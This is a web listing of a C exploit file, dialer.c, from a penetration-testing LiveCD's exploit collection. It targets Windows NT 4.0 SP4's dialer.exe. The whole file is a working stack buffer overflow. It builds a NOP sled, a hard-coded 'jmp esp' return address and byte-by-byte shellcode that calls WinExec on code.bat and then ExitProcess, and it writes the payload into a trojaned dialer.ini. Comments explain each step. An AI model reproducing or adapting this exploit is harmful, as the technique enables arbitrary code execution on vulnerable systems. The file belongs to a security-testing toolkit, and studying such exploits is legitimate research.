home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / dialer.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  133 lines

  1. #include <stdio.h>
  2.   #include <windows.h>
  3.  
  4.    int main(void)
  5. {
  6.     FILE *fd;
  7.     char ExploitCode[256];
  8.     int count = 0;
  9.     while (count < 100)
  10.       {
  11.       ExploitCode[count]=0x90;
  12.       count ++;
  13.       }
  14.  
  15.     // ExploitCode[100] to ExploitCode[103] overwrites the real return address
  16.     // with 0x77F327E5 which contains a "jmp esp" instruction taking us back
  17.     // to our payload of exploit code
  18.    ExploitCode[100]=0xE5;
  19.    ExploitCode[101]=0x27;
  20.    ExploitCode[102]=0xF3;
  21.    ExploitCode[103]=0x77;
  22.  
  23.    // procedure prologue - push ebp
  24.    // mov ebp,esp
  25.    ExploitCode[104]=0x55;
  26.    ExploitCode[105]=0x8B;
  27.  
  28.    // This moves into the eax register the address where WinExec() is found
  29.    // in kernel32.dll at address 0x77F1A9DA - This address has been hard-
  30.    // coded in to save room rather than going through LoadLibrary() and
  31.    // GetProcAddress () to get the address - since we've already hard
  32.    // coded in the return address from kernel32.dll - there seems no
  33.    // harm in doing this
  34.    ExploitCode[106]=0xEC;
  35.    ExploitCode[107]=0xB8;
  36.    ExploitCode[108]=0xDA;
  37.    ExploitCode[109]=0xA9;
  38.    ExploitCode[110]=0xF1;
  39.    ExploitCode[111]=0x77;
  40.  
  41.    // We need some NULLs to terminate a string - to do this we xor the esi
  42.    // register with itself - xor esi,esi
  43.    ExploitCode[112]=0x33;
  44.    ExploitCode[113]=0xF6;
  45.  
  46.    // These NULLs are then pushed onto the stack - push esi
  47.    ExploitCode[114]=0x56;
  48.  
  49.    // Now the name of the batch file to be run is pushed onto the stack
  50.    // We'll let WinExec() pick up the file - we use push here
  51.    // to push on "tab." (code.bat)
  52.    ExploitCode[115]=0x68;
  53.    ExploitCode[116]=0x2E;
  54.    ExploitCode[117]=0x62;
  55.    ExploitCode[118]=0x61;
  56.    ExploitCode[119]=0x74;
  57.  
  58.    // And now we push on "edoc"
  59.    ExploitCode[120]=0x68;
  60.    ExploitCode[121]=0x63;
  61.    ExploitCode[122]=0x6F;
  62.    ExploitCode[123]=0x64;
  63.    ExploitCode[124]=0x65;
  64.  
  65.    // We push the esi (our NULLs) again - this will be used by WinExec() to
  66.   determine
  67.     // whether to display a window on the desktop or not - in this case it will
  68.   not
  69.    ExploitCode[125]=0x56;
  70.  
  71.   // The address of the "c" of code.bat is loaded into the edi register -
  72.   this
  73.     // becomes a pointer to the name of what we want to tell WinExec() to run
  74.    ExploitCode[126]=0x8D;
  75.    ExploitCode[127]=0x7D;
  76.    ExploitCode[128]=0xF4;
  77.  
  78.    // This is then pushed onto the stack
  79.    ExploitCode[129]=0x57;
  80.  
  81.    // With everything primed we then call WinExec() - this will then run
  82.   code.bat
  83.    ExploitCode[130]=0xFF;
  84.    ExploitCode[131]=0xD0;
  85.  
  86.    // With the batch file running we then call ExitProcess () to stop
  87.   dialer.exe
  88.     // from churning out an Access Violation message - first the procedure
  89.     //prologue push ebp and movebp,esp
  90.    ExploitCode[132]=0x55;
  91.    ExploitCode[133]=0x8B;
  92.    ExploitCode[134]=0xEC;
  93.  
  94.    // We need to give ExitProcess() an exit code - we'll give it 0 to use - we
  95.   need
  96.     // some NULLs then - xor esi,esi
  97.    ExploitCode[135]=0x33;
  98.    ExploitCode[136]=0xF6;
  99.  
  100.    // and we need them on the stack - push esi
  101.    ExploitCode[137]=0x56;
  102.  
  103.    // Now we mov the address for ExitProcess() into the EAX register - again
  104.   we
  105.     // we hard code this in tieing this exploit to NT 4.0 SP4
  106.    ExploitCode[138]=0xB8;
  107.    ExploitCode[139]=0xE6;
  108.    ExploitCode[140]=0x9F;
  109.    ExploitCode[141]=0xF1;
  110.    ExploitCode[142]=0x77;
  111.  
  112.    // And then finally call it
  113.    ExploitCode[143]=0xFF;
  114.    ExploitCode[144]=0xD0;
  115.  
  116.    // Now to create the trojaned dialer.ini file
  117.    fd = fopen("dialer.ini", "w+");
  118.    if (fd == NULL)
  119.      {
  120.      printf("Couldn't create dialer.ini");
  121.      return 0;
  122.      }
  123.    // Give dialer.exe what it needs from dialer.ini
  124.    fprintf(fd,"[Preference]\nPreferred Line=148446\nPreferred Address=0\nMain
  125.   Window  Left/Top=489, 173\n[Last dialed numbers]\nLast dialed 1=");
  126.  
  127.    // And inject our exploit code
  128.    fprintf(fd,ExploitCode);
  129.  
  130.           fclose(fd);
  131. }
  132.  
  133.